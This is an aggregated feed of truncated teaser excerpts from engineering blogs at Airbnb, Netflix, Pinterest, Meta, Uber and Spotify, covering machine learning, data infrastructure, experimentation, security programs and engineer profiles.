Leveraging text generation models to build more effective, scalable customer support products.Gavin Li, Mia Zhao and Zhenyu ZhaoOne of the fastest-growing areas in modern Artificial Intelligence (AI) is AI text generation models. As the name suggests, these models generate natural language. Previously, most industrial natural language processing (NLP) models were classifiers, or what might be called discriminative models in machine learning (ML) literature. However, in recent years, generative models based on large-scale language models are rapidly gaining traction and fundamentally changing how ML problems are formulated. Generative models can now obtain some domain knowledge through large…

Airbnb Categories Blog Series — Part IBy: Mihajlo Grbovic, Ying Xiao, Pratiksha Kadam, Aaron Yin, Pei Xiong, Dillon Davis, Aditya Mukherji, Kedar Bellare, Haowei Zhang, Shukun Yang, Chen Qian, Sebastien Dubois, Nate Ney, James Furnary, Mark Giangreco, Nate Rosenthal, Cole Baker, Bill Ulammandakh, Sid Reddy, Egor PakhomovFigure 1. Browsing listings by categories: Castles, Desert, Design, Beach & Countryside25 Years of Online Travel SearchOnline travel search hasn’t changed much in the last 25 years. The traveler enters her destination, dates, and the number of guests into a search interface, which dutifully returns a list of options that best meet the criteria. Eventually, Airbnb and other t…

Mussel — Airbnb’s Key-Value Store for Derived DataHow Airbnb built a persistent, high availability and low latency key-value storage engine for accessing derived data from offline and streaming events.By: Chandramouli Rangarajan, Shouyan Guo, Yuxi JinIntroductionWithin Airbnb, many online services need access to derived data, which is data computed with large scale data processing engines like Spark or streaming events like Kafka and stored offline. These services require a high quality derived data storage system, with strong reliability, availability, scalability, and latency guarantees for serving online traffic. For example, the user profiler service stores and accesses real-time and hi…

Beyond A/B Test : Speeding up Airbnb Search Ranking Experimentation through InterleavingIntroduction of Airbnb interleaving experimentation framework, usage and approaches to address challenges in our unique businessQing Zhang, Michelle Du, Reid Andersen, Liwei HeIntroductionWhen a user searches for a place to stay on Airbnb, we aim to show them the best results possible. Airbnb’s relevance team actively works on improving search ranking experience and helps users to find and book listings that match their preference. A/B test is our approach for online assessment. Our business metrics are conversion-focused, and the frequency of guest travel transactions is lower than on other e-commerce p…

This blog aims to introduce Airbnb’s experience upgrading Data Warehouse infrastructure to Spark and Iceberg.By: Ronnie Zhu, Edgar Rodriguez, Jason Xu, Gustavo Torres, Kerim Oktay, Xu ZhangIntroductionIn this blog, we will introduce our motivations for upgrading our Data Warehouse Infrastructure to Spark 3 and Iceberg. We will briefly describe the current state of Airbnb data warehouse infrastructure and the challenges. We will then share our learnings from upgrading one critical production workload: event data ingestion. Finally, we will share the results and the lessons learned.ContextAirbnb’s Data Warehouse (DW) storage was previously migrated from legacy HDFS clusters to S3 to provide b…

Part II: Near Real-time ExperimentsBy: Mike Lin, Preeti Ramasamy, Toby Mao, Zack Loebel-BegelmanIn our first post we discussed the need for a near real time Safe Deploy system and some of the statistics that power its decisions. In this post we will cover the architecture and engineering choices behind the various components that Safe Deploys comprises.Designing a near real-time experimentation system required making explicit tradeoffs among speed, precision, cost, and resiliency. An early decision was to limit near real-time results to only the first 24 hours of an experiment — enough time to catch any major issues and transition to using comprehensive results from the batch pipeline. The …

My Journey to Airbnb — Veerabahu ChandranLearning and growing in Airbnb’s new Bangalore Tech CenterVeera Chandran is an engineer in Airbnb’s new Bangalore Tech Center, where his team builds out technical systems to support hosts. As a lifelong learner, he has a passion for exploring new technologies and diving into practical problems. He’s excited to be tackling both the technical challenges of building new architecture and the organizational challenges of building out the capabilities of a new office.Here’s Veera’s story:Learning and exploringI grew up in Tamil Nadu, in the South of India. I was always a curious kid, trying to understand how everything worked, so when it came to choosing a…

AuthorsKeziah Perez Sonder Plattner, Senior Software EngineerKadia Mashal, Engineering ManagerIntroductionEvery engineer knows that security is a never-ending problem. Until we delete all our code and move into a cottage in the woods, we have to accept that there is no such thing as 100% secure software. You could be doing everything perfectly, and a publicly known vulnerability (CVE) could emerge for the most updated version of a third party library in your infrastructure. Things are secure until they are not. Like with Sisyphus, the boulder will never reach the top of the hill.Rather than eliminating vulnerabilities, the goal of a vulnerability management program should be to quickly and …

How Airbnb securely manages permissions for our large team of employees, contractors, and call center staff.By: Paul BramsenIntroductionAirbnb is a company that is built on trust. An important piece of this trust comes from protecting the data that our guests and hosts have shared with us. One of the ways we do this is by following the principle of least privilege. Least privilege dictates that–in an ideal world–an employee has the exact permissions they need at the moment their job requires them. Nothing more, nothing less. Anything more introduces unnecessary risk–whether from a malicious employee, compromised laptop, or even just an honest mistake. Anything less inhibits productivity.Not…

Automated Incident Management Through SlackHow Airbnb automates incident management in a world of complex, rapidly evolving ensemble of microservices.Vlad VassilioukIncident ManagementIncidents are unforeseeable events that disrupt normal business operations and are inevitable in complex systems that must be up and running 24/7. This is why it’s important to prepare and to train people to handle incidents in a timely and organized manner. Although each incident is unique, we follow the same procedure for detection, escalation, management, and resolution of incidents.At Airbnb, we utilize a service oriented infrastructure which involves many interconnected services managed by small teams. Qu…

My Journey to Airbnb — Beti GathegiFrom exploring careers across continents to now helping others find their place at Airbnb.After trying a series of careers ranging from television production to university communications and marketing, Beti Gathegi works as a Senior Program Manager on the TechED (technical education) team at Airbnb. When she’s not lurking in the #bookworms Airbnb Slack channel, you can find Beti leading Bootcamp, our onboarding program for new technical hires, which takes engineers and data scientists through their first commit at Airbnb. Before this role, Beti was a recruiting program manager for Connect, Airbnb’s engineering apprenticeship program targeted at people from…

Part I: Evolution of Airbnb’s experimentation platformBy: Michael Lin, Toby Mao, Zack Loebel-BegelmanIntroductionAs Airbnb has grown to a company with over 1,200 developers, the number of platforms and channels for pushing changes to our product — and the number of daily changes we push into production — has also grown tremendously. In the face of this growth, we constantly need to scale our ability to detect errors before they reach production. However, errors inevitably slip past pre-production validation, so we also invest heavily in mechanisms to detect errors quickly when they do make it to production. In this blog post we will cover the motivations and foundations for a system for saf…

How we applied qualitative learning, human labeling and machine learning to iteratively develop Airbnb’s Community Support Taxonomy.By: Mia Zhao, Peggy Shao, Maggie Hanson, Peng Wang, Bo ZengBackgroundTaxonomies are knowledge organization systems used to classify and organize information. Taxonomies use words to describe things — as opposed to numbers or symbols — and hierarchies to group things into categories. The structure of a taxonomy expresses how those things relate to each other. For instance, a Superhost is a type of Host and a Host is a type of Airbnb User. Taxonomies provide vital terminology control and enable downstream systems to navigate information and analyze consistent, st…

Learn how Linaria, Airbnb’s newest choice for web styling, improved both developer experience and web performanceCSS is a critical component of every web application, and many solutions have evolved for how styles are written by developers and delivered to visitors. In this post we’ll take you through Airbnb’s journey from Sass to CSS-in-JS and show you why we landed on Linaria, a zero-runtime CSS-in-JS library, and the impact it has had on the developer experience and performance of Airbnb’s web app.From Sass to CSS-in-JSIn 2016, our web frontend was in a monolithic Ruby on Rails app using a combination of Sprockets, Browserify, and Sass. We had a Bootstrap-inspired internal toolkit for st…

How Airbnb is leveraging graph neural networks to up-level our machine learningBy: Devin SoniIntroductionMany real-world machine learning problems can be framed as graph problems. On online platforms, users often share assets (e.g. photos) and interact with each other (e.g. messages, bookings, reviews). These connections between users naturally form edges that can be used to create a graph.However, in many cases, machine learning practitioners do not leverage these connections when building machine learning models, and instead treat nodes (in this case, users) as completely independent entities. While this does simplify things, leaving out information around a node’s connections may reduce …

by Christos G. Bampis, Li-Heng Chen and Zhi LiWhen you are binge-watching the latest season of Stranger Things or Ozark, we strive to deliver the best possible video quality to your eyes. To do so, we continuously push the boundaries of streaming video quality and leverage the best video technologies. For example, we invest in next-generation, royalty-free codecs and sophisticated video encoding optimizations. Recently, we added another powerful tool to our arsenal: neural networks for video downscaling. In this tech blog, we describe how we improved Netflix video quality with neural networks, the challenges we faced and what lies ahead.How can neural networks fit into Netflix video encodin…

By Boris Chen, Kelli Griggs, Amir Ziai, Yuchen Xie, Becky Tucker, Vi Iyengar, Ritwik KumarCreating Media with Machine Learning episode 1IntroductionAt Netflix, part of what we do is build tools to help our creatives make exciting videos to share with the world. Today, we’d like to share some of the work we’ve been doing on match cuts.https://medium.com/media/f0a78d7f38bd14f60761a93c160f92bd/hrefIn film, a match cut is a transition between two shots that uses similar visual framing, composition, or action to fluidly bring the viewer from one scene to the next. It is a powerful visual storytelling tool used to create a connection between two scenes.[Spoiler alert] consider this scene from Squ…

By: Peter Cioni (Netflix), Alex Schworer (Netflix), Mac Moore (Conductor Tech.), Rachel Kelley (AWS), Ranjit Raju (AWS)Rendering is core to the the VFX processVFX studios around the world create amazing imagery for Netflix productions. Nearly every show that is produced today includes digital visual effects, from the creatures in Stranger Things, to recreating historic London in Bridgerton.Netflix production teams work with a global roster of VFX studios (both large and small) and their artists to create this amazing imagery. But it’s not easy: to pull this off, VFX studios need to build and operate serious technical infrastructure (compute, storage, networking, and software licensing), oth…

By Vi Iyengar, Keila Fong, Hossein Taghavi, Andy Yao, Kelli Griggs, Boris Chen, Cristina Segalin, Apurva Kansara, Grace Tang, Billur Engin, Amir Ziai, James Ray, Jonathan Solorzano-HamiltonWelcome to the first post in our multi-part series on how Netflix is developing and using machine learning (ML) to help creators make better media — from TV shows to trailers to movies to promotional art and so much more.Media is at the heart of Netflix. It’s our medium for delivering a range of emotions and experiences to our members. Through each engagement, media is how we bring our members continued joy.This blog series will take you behind the scenes, showing you how we use the power of machine learn…

By Soheil Esmaeilzadeh, Negin Salajegheh, Amir Ziai, Jeff BooteIntroductionStreaming services serve content to millions of users all over the world. These services allow users to stream or download content across a broad category of devices including mobile phones, laptops, and televisions. However, some restrictions are in place, such as the number of active devices, the number of streams, and the number of downloaded titles. Many users across many platforms make for a uniquely large attack surface that includes content fraud, account fraud, and abuse of terms of service. Detection of fraud and abuse at scale and in real-time is highly challenging.Data analysis and machine learning techniq…

By Vadim Filanovsky and Harshad SaneIn one of our previous blogposts, A Microscope on Microservices we outlined three broad domains of observability (or “levels of magnification,” as we referred to them) — Fleet-wide, Microservice and Instance. We described the tools and techniques we use to gain insight within each domain. There is, however, a class of problems that requires an even stronger level of magnification going deeper down the stack to introspect CPU microarchitecture. In this blogpost we describe one such problem and the tools we used to solve it.The problemIt started off as a routine migration. At Netflix, we periodically reevaluate our workloads to optimize utilization of avail…

by Tomasz Bak and Fabio KungIntroductionTitus is the Netflix cloud container runtime that runs and manages containers at scale. In the time since it was first presented as an advanced Mesos framework, Titus has transparently evolved from being built on top of Mesos to Kubernetes, handling an ever-increasing volume of containers. As the number of Titus users increased over the years, the load and pressure on the system increased substantially. The original assumptions and architectural choices were no longer viable. This blog post presents how our current iteration of Titus deals with high API call volumes by scaling out horizontally.We introduce a caching mechanism in the API gateway layer,…

by Jun He, Akash Dwivedi, Natallia Dzenisenka, Snehal Chennuru, Praneeth Yenugutala, Pawan DixitAt Netflix, Data and Machine Learning (ML) pipelines are widely used and have become central for the business, representing diverse use cases that go beyond recommendations, predictions and data transformations. A large number of batch workflows run daily to serve various business needs. These include ETL pipelines, ML model training workflows, batch jobs, etc. As Big data and ML became more prevalent and impactful, the scalability, reliability, and usability of the orchestrating ecosystem have increasingly become more important for our data scientists and the company.In this blog post, we introd…

A conversation between Travis Brooks, Netflix Product Manager for Experimentation Platform, and George Khachatryan, OfferFit CEONote: I’ve known George for a little while now, and as we’ve talked a lot about the philosophy of experimentation, he kindly invited me to their office (virtually) for their virtual speaker series. We had a fun conversation with his team, and we realized that some parts of it might make a good blog post as well. So we jointly edited a bit for length and clarity, and are posting here as well as on OfferFit’s blog. Hope you enjoy the result. — Travis B.George Khachatryan: Travis, could you tell us a bit about your background and how you came to your current role?Trav…

Timestone: Netflix’s High-Throughput, Low-Latency Priority Queueing System with Built-in Support for Non-Parallelizable Workloadsby Kostas ChristidisIntroductionTimestone is a high-throughput, low-latency priority queueing system we built in-house to support the needs of Cosmos, our media encoding platform. Over the past 2.5 years, its usage has increased, and Timestone is now also the priority queueing engine backing Conductor, our general-purpose workflow orchestration engine, and BDP Scheduler, the scheduler for large-scale data pipelines. All in all, millions of critical workflows within Netflix now flow through Timestone on a daily basis.Timestone clients can create queues, enqueue mes…

by Ehtsham Elahiwith James McInerney, Nathan Kallus, Dario Garcia Garcia and Justin BasilicoIntroductionThis writeup is about using reinforcement learning to construct an optimal list of recommendations when the user has a finite time budget to make a decision from the list of recommendations. Working within the time budget introduces an extra resource constraint for the recommender system. It is similar to many other decision problems (for e.g. in economics and operations research) where the entity making the decision has to find tradeoffs in the face of finite resources and multiple (possibly conflicting) objectives. Although time is the most important and finite resource, we think that i…

Virtual Production — A Validation Framework For Unreal EngineBy Adam Davis, Jimmy Fusil, Bhanu Srikanth and Girish BalakrishnanGame Engines in Virtual ProductionThe use of Virtual Production and real time technologies has markedly accelerated in the past few years. At Netflix, we are always thrilled to see technology enable new ways of telling stories, and the use of these techniques on some of our shows like 1899 and Super Giant Robot Brothers has given us a front row seat to this exciting evolution in filmmaking. Each production that deploys these methods is an opportunity for the crew, tech manufacturers and us–the Netflix Production Innovation team–to learn, innovate and collaborate tow…

Data Mesh — A Data Movement and Processing Platform @ NetflixBy Bo Lei, Guilherme Pires, James Shao, Kasturi Chatterjee, Sujay Jain, Vlad SydorenkoBackgroundRealtime processing technologies (A.K.A stream processing) is one of the key factors that enable Netflix to maintain its leading position in the competition of entertaining our users. Our previous generation of streaming pipeline solution Keystone has a proven track record of serving multiple of our key business needs. However, as we expand our offerings and try out new ideas, there’s a growing need to unlock other emerging use cases that were not yet covered by Keystone. After evaluating the options, the team has decided to create Data…

by Aryan Mehrawith Farnaz Karimdady Sharifabad, Prasanna Vijayanathan, Chaïna Wade, Vishal Sharma and Mike SchassbergerAim and Purpose — Problem StatementThe purpose of this article is to give insights into analyzing and predicting “out of memory” or OOM kills on the Netflix App. Unlike strong compute devices, TVs and set top boxes usually have stronger memory constraints. More importantly, the low resource availability or “out of memory” scenario is one of the common reasons for crashes/kills. We at Netflix, as a streaming service running on millions of devices, have a tremendous amount of data about device capabilities/characteristics and runtime data in our big data platform. With large …

By Alex Hutter, Falguni Jhaveri, and Senthil SayeebabaIn a previous post, we described the indexing architecture of Studio Search and how we scaled the architecture by building a config-driven self-service platform that allowed teams in Content Engineering to spin up search indices easily.This post will discuss how Studio Search supports querying the data available in these indices.Data consumption from Studio Search DGSIntroductionWhen we say Content Engineering teams are interested in searching against the federated graph, the use-case is mainly focused on known-item search (a user has an item or items in mind they are trying to view or navigate to but need to use an external information …

Kelvin Jiang, Software Engineer, Ads Intelligence | Keshava Subramanya, Engineering Manager, Ads Intelligence | Perrye Ogunwole, Product Manager, Ads IntelligenceIntroductionThe Ads Intelligence team at Pinterest builds products that help advertisers maximize the value they get out of their ad campaigns. As part of that initiative, we have recently launched Flexible Daily Budgets (FDB) to US advertisers in open beta.Figure 1: Flexible daily budgets option in the campaign create flowFDB is an automated ads product that benefits advertisers by distributing the advertising budget for each campaign across multiple days in an automated manner. The goals of this product are to:Enable advertisers …

Xue Xia, Software Engineer, Homefeed Ranking; Neng Gu, Software Engineer, Content & User Understanding; Dhruvil Deven Badani, Engineering Manager, Homefeed Ranking; Andrew Zhai, Software Engineer, Advanced Technologies GroupImage from https://wallpapercave.com/neural-networks-wallpapers#google_vignetteIn this blog post, we will demonstrate how we improved Pinterest Homefeed engagement volume from a machine learning model design perspective — by leveraging realtime user action features in Homefeed recommender system.BackgroundThe Homepage of Pinterest is the one of most important surfaces for pinners to discover inspirational ideas and contributes to a large fraction of overall user engageme…

Lin Wang | Android Performance EngineerDesigned by AJ Oxendine | Software EngineerIt’s a well-known fact for Android developers that an app’s manifest (AndroidManifest.xml) holds crucial application declarations. It is rarely monitored after being set up because we assume it hardly ever changes. At Pinterest, however, we have been actively monitoring the manifest after realizing it does change every so often.While building an app, Gradle downloads all the dependent libraries to compile and link them with the app. These dependent libraries each have their own mini manifest. During the build process, Android Gradle Plugin (AGP) merges them with the app’s main manifest to form the final manife…

Bella Huang | Software Engineer, Home Candidate Generation; Raymond Hsu | Engineer Manager, Home Candidate Generation; Dylan Wang | Engineer Manager, Home RelevanceIn Homefeed, ~30% of recommended pins come from pin to pin-based retrieval. This means that during the retrieval stage, we use a batch of query pins to call our retrieval system to generate pin recommendations. We typically use a user’s previously engaged pins, and a user may have hundreds (or thousands!) of engaged pins, so a key problem for us is: how do we select the right query pins from the user’s profile?User Profiling with PinnerSAGE OverviewAt Pinterest, we use PinnerSAGE as the main source of a user’s pin profile. Pinner…

Khubi Shah | (former) Software Engineer Intern, Shopping Content MiningThis summer, I had the incredible opportunity to intern at the one and only Pinterest from the new engineering hub in Toronto!I am a final year undergraduate student from the University of Waterloo, majoring in Computer Science with an AI specialization. Growing up, Pinterest was always my go-to social media platform, as it inspired me with new ideas for food, fashion, design, or anything creative! As a result, when I was given the opportunity to join as a Software Engineering Intern this summer in Toronto, I was beyond thrilled to be a part of the company mission: to bring everyone the inspiration to create a life they …

Ankita Girish Wagh | Senior Software Engineer, Storage and CachingIntroduction and MotivationAt Pinterest, HBase is one of the most critical storage backends, powering many online storage services like Zen (graph database), UMS (wide column datastore), and Ixia (near real time secondary indexing service). The HBase Ecosystem, though having various advantages like strong consistency at row level in high volume requests, flexible schema, low latency access to data, Hadoop integration, etc. cannot serve the needs of our clients for the next 3–5 years. This is due to high operational cost, excessive complexity, and missing functionalities like secondary indexes, support for transactions, etc.Af…

Unlocking 16% Homefeed Engagement by Serving 100x Bigger Recommender ModelsPong Eksombatchai | Software Engineer, Advanced Technology Group; Zhiyuan Zhang | Engineering Manager, ML Serving PlatformsImage from https://unsplash.com/photos/vWgoeEYdtIYWe enabled serving 100x larger recommender models at Pinterest by transitioning our machine learning serving from CPU to GPU — increasing Homefeed Pinner engagement by 16% through a step function improvement in model quality. In this blog post, we’ll share our optimizations to achieve this at neutral cost and latency, including optimizing individual ops, consolidating memory transfers, executing static graphs on-device through CUDA Graphs, and ret…

Nishant Roy | Engineering Manager, Ads Serving PlatformIntro & BackgroundThe Pinterest ads serving platform delivered >$2.5 billion in ad spend in 2021 from thousands of advertisers. Our customer operations team receives 600+ tickets on average every month from advertisers who are looking to understand their performance on our platform. One of the most common questions we receive is why a particular advertiser/ad campaign is not fully utilizing its budget. This question requires a deep analysis of an ad recommendation system consisting of 5+ microservices, 1M+ lines of code, and 100+ active developers, serving >90 million requests everyday. This blog describes how we built a system to swift…

Chanheum (Sean) Cho | ML Engineer, Ads Intelligence; Ruixin Qiang |ML Engineer, Ads Intelligence; Keshava Subramanya |Engineering Manager, Ads IntelligenceIntroductionUnderstanding the size of the potential audience of an ad is an important consideration for an advertiser. It enables advertisers to estimate the total population who might be interested in the products or services they advertise and plan their budgets ahead of time. The Ads Intelligence team at Pinterest provides a service called Potential Audience Size in the Ads Manager, so the advertisers can understand their target audience size while they configure their ad groups. The service updates the estimate in real time as the aud…

Kevin Lin | Software Engineer, Storage and CachingIntroductionPinterest’s distributed caching system, built on top of open source technologies memcached and mcrouter, is a critical component of the production infrastructure stack. Pinterest’s cache-as-a-service platform is responsible for driving down application latency across the board, reducing the overall cloud cost footprint, and ensuring adherence to strict sitewide availability targets.Today, Pinterest’s memcached fleet spans over 5000 EC2 instances across a variety of instance types optimized along compute, memory, and storage dimensions. Collectively, the fleet serves up to ~180 million requests per second and ~220 GB/s of network …

George Wu | Software Engineer, Core Product Serving Infra; Tim Koh | Software Engineer, Core Product Serving InfraIntroductionEmbedding-based retrieval is a core center piece of our recommendations engine at Pinterest. We support a myriad of use cases, from retrieval based on content similarity to learned retrieval. It’s powered by our in-house search engine — Manas — which provides Approximate Nearest Neighbor (ANN) search as a service, primarily using Hierarchical Navigable Small World graphs (HNSW).While traditional token-based search retrieves documents on term matching on a tree of terms with logical connectives like ANDs and ORs, ANN search retrieves based on embedding similarity. Oft…

Prabhat Agarwal | Research ScientistWatch Prabhat Agarwal’s talk from the NVIDIA GTC Conference on March 23, 2022.https://medium.com/media/c160a4c48af4ff09c6ed83e10d26a5e8/hrefTo learn more about engineering at Pinterest, check out the rest of our Engineering Blog, and visit our Pinterest Labs site. To view and apply to open opportunities, visit our Careers page.NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest was originally published in Pinterest Engineering Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Jeremy King | Sr Vice Presidente, ingenieríaThis article was originally published in English. Read the English version here.Hace dos años, estaba terminando mi primer año en Pinterest como Vicepresidente Sénior. Nuestras oficinas cerraron y el trabajo y la vida, como los conocíamos, cambiaron de golpe. Al adaptarnos a los cambios drásticos a nuestro alrededor, aprendimos mucho sobre el trabajo y sobre lo que no era un lugar de trabajo. Los beneficios del trabajo flexible y nuestra capacidad de ser productivos desde cualquier lugar dieron muchas ventajas a nuestros empleos, ya que se eliminaron largos viajes al trabajo y pudimos estar mucho más presentes en los momentos importantes de nuestr…

Maisy Samuelson | Head of Trust & Safety Product“Inch by inch, row by row, I’m gonna make this garden grow” — Garden Song by Peter, Paul & MarySince I started working on Trust & Safety four years ago, the team has grown quickly and learned a lot about how to protect Pinners from spam and account takeovers as well as unsafe content like nudity, self-harm, hate speech, and harassment.Back in 2017, the Trust & Safety team (like Pinterest itself) was small and spent a lot of time fighting attacks. During attacks we scrambled to figure out product nuances, where and how data was stored, wait for queries to run, write scripts to update production databases and fix issues in user accounts, all und…

Jeremy King | Senior Vice President, EngineeringTwo years ago, as I was closing in on my first annual “Pinniversary” as the Chief of Engineering at Pinterest, our offices closed, and work (read: life) as we knew it changed abruptly. As we all adapted to the drastic changes around us, we learned a lot about what was working and what wasn’t in the workplace. The benefits of working flexibly and our ability to be productive from anywhere empowered us to do our jobs well while eliminating long commutes and allowing us to be more present than ever before for important moments with family. We also realized the value of intentional in-person touchpoints with colleagues to build culture and drive c…

We’re sharing how Meta is applying statistics and machine learning (ML) to improve notification personalization and management on Instagram – particularly on daily digest push notifications. By using causal inference and ML to identify highly active users who are likely to see more content organically, we have been able to reduce the number of notifications [...]

Read More...

The post Improving Instagram notification management with machine learning and causal inference appeared first on Engineering at Meta.

Many of Meta’s products, such as search and language translations, utilize AI models to continuously improve user experiences. As the performance of hardware we use to support training infrastructure increases, we need to scale our data ingestion infrastructure accordingly to handle workloads more efficiently. GPUs, which are used for training infrastructure, tend to double in [...]

Read More...

The post Scaling data ingestion for machine learning training at Meta appeared first on Engineering at Meta.

What the research is: Federated learning with differential privacy (FL-DP) is one of the latest privacy-enhancing technologies being evaluated at Meta as we constantly work to enhance user privacy and further safeguard users’ data in the products we design, build, and maintain. FL-DP enhances privacy in two important ways: It allows machine learning (ML) models [...]

Read More...

The post Applying federated learning to protect data on mobile devices appeared first on Engineering at Meta.

What the research is: Recent research has demonstrated that binary optimization is important for achieving peak performance for various applications. For instance, the state-of-the-art BOLT binary optimizer developed at Meta, which is part of the LLVM Compiler Project, significantly improves the performance of highly optimized binaries produced using compilers’ most aggressive optimizations, such as profile-guided [...]

Read More...

The post VESPA: Static profiling for binary optimization appeared first on Engineering at Meta.

Introduction

If you have read our previous article, ML Education at Uber: Frameworks Inspired by Engineering Principles, you have seen several examples of how Uber benefits from applying Engineering Principles to drive the ML Education Program’s content design and …

The post ML Education at Uber: Program Design and Outcomes appeared first on Uber Engineering Blog.

Introduction

At Uber, millions of machine learning (ML) predictions are made every second, and hundreds of applied scientists, engineers, product managers, and researchers work on ML solutions daily. Uber wins by scaling machine learning. We recognize org-wide that a …

The post ML Education at Uber: Frameworks Inspired by Engineering Principles appeared first on Uber Engineering Blog.

Introduction

“Immensely laborious calculations on inferior data may increase the yield from 95 to 100 percent. A gain of 5 percent, of perhaps a small total. A competent overhauling of the process of collection, or of the experimental design, may …

The post Supercharging A/B Testing at Uber appeared first on Uber Engineering Blog.

Uber is a data-driven company that heavily relies on offline and online analytics for decision-making. As Uber’s data grows exponentially every year, it’s crucial to process this data very efficiently and with minimum cost. Over the years, Apache Spark™…

The post Uber’s Highly Scalable and Distributed Shuffle as a Service appeared first on Uber Engineering Blog.

Introduction

At Uber we use data from user support interactions to identify gaps in our products and create better, more delightful experiences for our users. Support interactions with customers include information about broken product experiences, any technical or operational issues …

The post Enabling Offline Inferences at Uber Scale appeared first on Uber Engineering Blog.

Introduction

Justification for Identity Verification

Latin America is a rich cultural region, known for its world-renowned gastronomy, its abundant biodiversity, and its welcoming population. However, socio-economic inequality has been a challenge for the region, and is generally considered a major …

The post Uber’s Real-Time Document Check appeared first on Uber Engineering Blog.

Overview

Subsetting is a common technique used in load balancing for large-scale distributed systems. In this blog post, we will briefly introduce Uber’s current service mesh architecture that has been powering thousands of critical microservices in Uber since 2016. We …

The post Better Load Balancing: Real-Time Dynamic Subsetting appeared first on Uber Engineering Blog.

Uber’s goal is to ignite opportunity by setting the world in motion, and big data is a very important part of that. Presto® and Apache Kafka® play critical roles in Uber’s big data stack. Presto is the de …

The post Presto® on Apache Kafka® At Uber Scale appeared first on Uber Engineering Blog.

Background

Uber has one of the largest deployments of Apache Kafka® in the world. It empowers a large number of real-time workflows at Uber, including pub-sub message buses for passing event data from the rider and driver apps, as …

The post Securing Kafka® Infrastructure at Uber appeared first on Uber Engineering Blog.

Safety has long been a top priority at Uber, as Uber’s CEO Dara Khosrowshahi wrote in ‘Raising the Bar on Safety’ in September 2018. In order to #StandForSafety, the team at Uber has rolled out a set of …

The post Uber’s Emergency Button and The Technologies Behind It appeared first on Uber Engineering Blog.

At Uber, all stateful workloads run on a common containerized platform across a large fleet of hosts. Stateful workloads include MySQL®, Apache Cassandra®, ElasticSearch®, Apache Kafka®, Apache HDFS™, Redis™…

The post Avoiding CPU Throttling in a Containerized Environment appeared first on Uber Engineering Blog.

Overview Data access restrictions, retention, and encryption at rest are fundamental security controls. This blog explains how we have built and utilized open-sourced Apache Parquet™’s finer-grained encryption feature to support all 3 controls in a unified way. In …

The post One Stone, Three Birds: Finer-Grained Encryption @ Apache Parquet™ appeared first on Uber Engineering Blog.

As Uber’s architecture has grown to encompass thousands of interdependent microservices, we need to test our mission-critical components at max load in order to preserve reliability. Accurate load testing allows us to validate if a set of services are working …

The post Introducing Ballast: An Adaptive Load Test Framework appeared first on Uber Engineering Blog.

Needing to deliver faster and more reliably while managing a growing number of contributors and a more complex codebase seems like the fate of every hyper-growth tech company. For platform teams, the challenge is not any different. How can we quickly roll out and increase the adoption of new technologies safely with a growing codebase [...]

The post Strategies and Tools for Performing Migrations on Platform appeared first on Spotify Engineering.

We started developing our vulnerability management platform (VMP) at Spotify in Q2, 2020, and now that we’ve implemented it and use the system in our day-to-day work, we wanted to take a moment to share our journey to help reduce security risks in an efficient and scalable manner. Vulnerabilities Preventing vulnerabilities within Spotify is the [...]

The post Spotify’s Vulnerability Management Platform appeared first on Spotify Engineering.

TL;DR The core motivation for Spotify’s Client Platform (CliP) team is empowering and unblocking client developers and giving teams the tools they need to ensure a happy and satisfying developer experience (DX). In line with this, we wanted to improve the coding experience for our development teams through infrastructure changes. We conducted research among 318 [...]

The post How We Improved the Development Experience for our Client Developers  appeared first on Spotify Engineering.

TL;DR As part of Spotify’s goal to reach net zero emissions by 2030, we’ve made climate action one of our five technology pillars and have been integrating sustainability into our everyday engineering practices. This year, climate action was the theme of our company-wide Hack Week, we made climate responsibility part of our official engineering handbook, [...]

The post Bringing the Climate Fight to Your IDE appeared first on Spotify Engineering.

Back in June, I presented the current state of Spotify’s open source activities to our developers as part of our internal Spotify Engineering Conference, aka SpEC. In the presentation, I go over where we currently are with our open source efforts, what challenges we face, and the vision for where we are going. Centered around [...]

The post Open Source Work Is Work appeared first on Spotify Engineering.

There is no excerpt because this is a protected post.

The post Protected: Lessons Learned from Algorithmic Impact Assessments in Practice appeared first on Spotify Engineering.

Some of the most common questions asked when it comes to work with performance are, How do you convince stakeholders that improving the performance of your project is actually worth the investment? How can you prove that the work is necessary to begin with? Or prove that you have shipped improvements? And what is the [...]

The post From Development to Real Users: How to Create a Web Performance Story appeared first on Spotify Engineering.

Last year, we added support for 36 new languages to our products in one go, for a total of 62 languages. This article describes how we delivered on such an immense localization effort at Spotify. We called the project Scaling Translations. The business case We believe that localization is key for engaging with our users [...]

The post Scaling Translations at Spotify appeared first on Spotify Engineering.

TL;DR The software development life cycle (SDLC) has always been followed by functional testing to ensure software solutions have all the necessary features and functions. Because of the growing number of cyberattacks, software development stakeholders have been forced to implement security testing as the main track in SDLC to prevent vulnerabilities and flaws in applications [...]

The post How We Maintain Security Testing within the Software Development Life Cycle appeared first on Spotify Engineering.

TL;DR Architectural diagrams are the bread and butter of software design and a foundational tool for communication and collaboration on software development. At Spotify, we have an incredibly complex network of thousands of interlinked software systems owned by hundreds of teams, so having a simple way to visualize these connections is essential. While capturing all [...]

The post Software Visualization — Challenge, Accepted appeared first on Spotify Engineering.

At Spotify, we’ve tried to uphold the tradition of running one major holiday marketing campaign at the end of each year. The campaigns typically run on various platforms such as the Spotify Homepage and the Premium page. More recently, we wanted to run more campaigns throughout the year, perhaps during different holidays like Halloween or [...]

The post What it Took to Scale Spotify’s Marketing Efforts appeared first on Spotify Engineering.

TL;DR We recently announced the 2022 recipients of the Spotify FOSS Fund, which we created to help support the open source projects we use at Spotify. As this was the first time we’ve made direct financial contributions to independent open source projects, we wanted to learn more about what kind of impact our contributions might [...]

The post Q&A with the Maintainers of the Spotify FOSS Fund appeared first on Spotify Engineering.

TL;DR With Spotify’s rapid global expansion to more than 180 countries, it’s critical that the infrastructure of user forecasts catch up to business needs. As the business evolves, we need an infrastructure in place that can satisfy the varying needs of stakeholders across the company. To enable fast iterations and facilitate model training, we built [...]

The post How We Built Infrastructure to Run User Forecasts at Spotify appeared first on Spotify Engineering.

TL;DR Today we’re announcing the recipients of the first Spotify FOSS Fund. The objective of this fund is to give the independent open source projects we care about a meaningful financial sponsorship to help ensure those projects have the means to continue maintaining and maturing the code we rely on. The 2022 Spotify FOSS Fund [...]

